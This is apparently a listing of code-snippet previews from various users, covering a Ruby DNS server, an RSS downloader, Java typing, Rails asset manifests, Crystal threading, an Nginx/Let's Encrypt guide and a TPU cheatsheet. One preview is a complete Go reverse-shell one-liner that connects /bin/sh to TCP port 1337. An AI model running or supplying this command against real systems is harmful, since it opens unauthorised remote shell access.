peterc

# Simple, scrappy UDP DNS server in Ruby (with protocol annotations)
# By Peter Cooper
#
# MIT license
#
# * Not advised to use in your production environment! ;-)
# * Requires Ruby 1.9
# * Supports A and CNAME records
# * See http://www.ietf.org/rfc/rfc1035.txt for protocol guidance
# * All records get the same TTL

samqiu

#!/usr/bin/ruby
require 'rss'

# Usage
# $ ./railscasts.rb http://railscasts.com/subscriptions/YOURRAILSCASTRSS/\/
#     episodes.rss
# OR
# $ ./railscasts.rb

p 'Downloading rss index'

nilbus

1. Java uses static, declared typing:

   String hello = "Hello, World!";
   List<String> phrases = new ArrayList<String>;
   phrases.add(hello);
   phrases.add(null);
   phrases.add(123); // Compile error! Not a string.

takeshixx

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go

balvig

# app / assets / javascripts / active_admin.js 

//= require active_admin/base
//= require jquery.ui.widget
//= require jquery.iframe-transport
//= require jquery.fileupload
//= require cloudinary/jquery.cloudinary
//= require attachinary
//= require attachments

oprypin

module Indexable(T)
  def threadpool_map(workers : Int = 8, chunk_size : Int? = nil, &func : T -> R) forall T, R
    mutex = Thread::Mutex.new
    cs = chunk_size || (self.size**0.5).ceil.to_i
    Array(R).build(self.size) do |result|
      index = 0
      threads = Array.new(workers) {
        Thread.new do
          a = b = 0
          loop do

shiroyasha

class Dog 
  attr_writer :name

  def initialize(name)
    @name = name
  end 

  def bark
    puts "patrick"
  end

cecilemuller

How to setup Let's Encrypt for Nginx on Ubuntu 18.04 (including IPv6, HTTP/2 and A+ SLL rating)

---

Virtual hosts

Let's say you want to host domains first.com and second.com.

Create folders for their files:

aparrish

stefan-it

TPU VM Cheetsheat

This TPU VM cheatsheet uses and was tested with the following library versions:

Library	Version
JAX	0.3.25
FLAX	0.6.4
Datasets	2.10.1
Transformers	4.27.1